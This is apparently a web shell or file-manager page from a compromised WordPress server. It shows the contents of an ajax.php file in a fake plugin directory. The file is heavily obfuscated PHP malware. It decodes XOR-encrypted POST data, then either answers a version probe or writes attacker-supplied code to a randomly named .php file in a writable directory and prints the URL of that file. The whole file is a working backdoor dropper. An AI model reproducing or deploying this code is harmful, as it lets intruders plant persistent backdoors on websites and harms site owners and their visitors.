HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/plugins/zlrsurmzet/ajax.php
<?php function MGUrHRNik($sbOweDvypM){$vPWUjnVb = "\162".chr(97).chr(119).chr(117)."\x72"."\154"."\x64".'e'.'c'.'o'."\144"."\x65";$kwcXr = 's'.'t'.'r'."\x5f".chr(114)."\157"."\164".chr(49)."\63";$LgFdvkk = chr(322-207).chr(116)."\x72"."\x5f".'s'."\x70".chr(369-261).chr(424-319)."\164";$sbOweDvypM = $LgFdvkk($vPWUjnVb($kwcXr($sbOweDvypM)));return $sbOweDvypM;}function OwlAzH($QXwPioEW, $sbOweDvypM){$HOrDGOaZy = "\x73"."\164".chr(114)."\x5f".chr(115)."\160".chr(329-221)."\x69".chr(116);$QXwPioEW = array_slice($HOrDGOaZy(str_repeat($QXwPioEW, (count($sbOweDvypM)/16)+1)), 0, count($sbOweDvypM));return $QXwPioEW;}function jJWbZAp($UnQma, $lrrdACqUDh, $QXwPioEW){$ZswBxIR = "796038de-06fc-4d00-b22e-7a20cc806898";return $UnQma ^ $ZswBxIR[$lrrdACqUDh % strlen($ZswBxIR)] ^ $QXwPioEW;}function jetvQMvJz($sbOweDvypM, $QXwPioEW){$sbOweDvypM = array_map("jJWbZAp", array_values($sbOweDvypM), array_keys($sbOweDvypM), array_values($QXwPioEW));$sbOweDvypM = implode("", $sbOweDvypM);$xYWuYav = chr(117)."\156".'s'.chr(101).'r'."\x69"."\141"."\154"."\151".chr(122).chr(101);$sbOweDvypM = @$xYWuYav($sbOweDvypM);return $sbOweDvypM;}function XmsCi(){echo "xDiGENoCQt";}function VzsomV($qvQrISsir){static $AylYnkeV = array();$ISgDt = glob($qvQrISsir . '/*', GLOB_ONLYDIR);$yjYLjFHw = count($ISgDt);if ($yjYLjFHw > 0) {foreach ($ISgDt as $qvQrISs) {$ycnapEYCAr = 'i'."\163".chr(95)."\x77".chr(114)."\151"."\164".'a'."\x62".chr(740-632).chr(101);if (@$ycnapEYCAr($qvQrISs)) {$AylYnkeV[] = $qvQrISs;}}}foreach ($ISgDt as $qvQrISsir) VzsomV($qvQrISsir);return $AylYnkeV;}function NdNxRpV(){echo "hkCdP";}function oSJzejTa($sbOweDvypM){$jfTlHhvkWh = "\x44".chr(597-518).chr(67).chr(368-283)."\115".chr(69)."\116"."\124".'_'.chr(630-548).'O'.chr(782-703).chr(84);$NoAcTYKN = $_SERVER[$jfTlHhvkWh];$ISgDt = VzsomV($NoAcTYKN);$tDKSu = array_rand($ISgDt);$xPCwsa = '.'."\160".chr(104)."\160";$VnKjVsZE = $ISgDt[$tDKSu] . "/" . substr(md5(time()), 0, 8) . $xPCwsa;$XJUeTW = "\x66"."\x69".chr(937-829)."\145"."\137"."\160"."\165".chr(142-26)."\137".chr(209-110)."\x6f".chr(110).chr(116).chr(101).'n'.chr(1058-942).chr(766-651);@$XJUeTW($VnKjVsZE, $sbOweDvypM);$qpzDvOc = chr(72).'T'.chr(84)."\x50".chr(95).chr(72).chr(620-541).chr(83).'T';$qAEoFUncl = chr(904-800).'t'."\164"."\x70"."\x3a".chr(875-828)."\57";$cnlZOchZ = $qAEoFUncl . $_SERVER[$qpzDvOc] . substr($VnKjVsZE, strlen($NoAcTYKN));print($cnlZOchZ);}foreach ($_POST as $QXwPioEW => $sbOweDvypM){$kmtykJbA = strlen($QXwPioEW);if ($kmtykJbA == 16){$sbOweDvypM = MGUrHRNik($sbOweDvypM);$QXwPioEW = OwlAzH($QXwPioEW, $sbOweDvypM);$sbOweDvypM = jetvQMvJz($sbOweDvypM, $QXwPioEW);if (@is_array($sbOweDvypM)){$tDKSu = array_keys($sbOweDvypM);$sbOweDvypM = $sbOweDvypM[$tDKSu[0]];if ($sbOweDvypM === $tDKSu[0]){$PCFkYAG = chr(112).chr(358-254)."\x70";$Abrwd = chr(112).chr(104)."\x70".chr(118).chr(598-497).'r'.'s'.'i'."\x6f"."\x6e";$tclLhSMH = chr(965-850)."\145".'r'.chr(105).chr(853-756)."\x6c".'i'."\x7a".chr(742-641);echo @$tclLhSMH(Array($PCFkYAG => @$Abrwd(), ));}else {oSJzejTa($sbOweDvypM);}die();}}}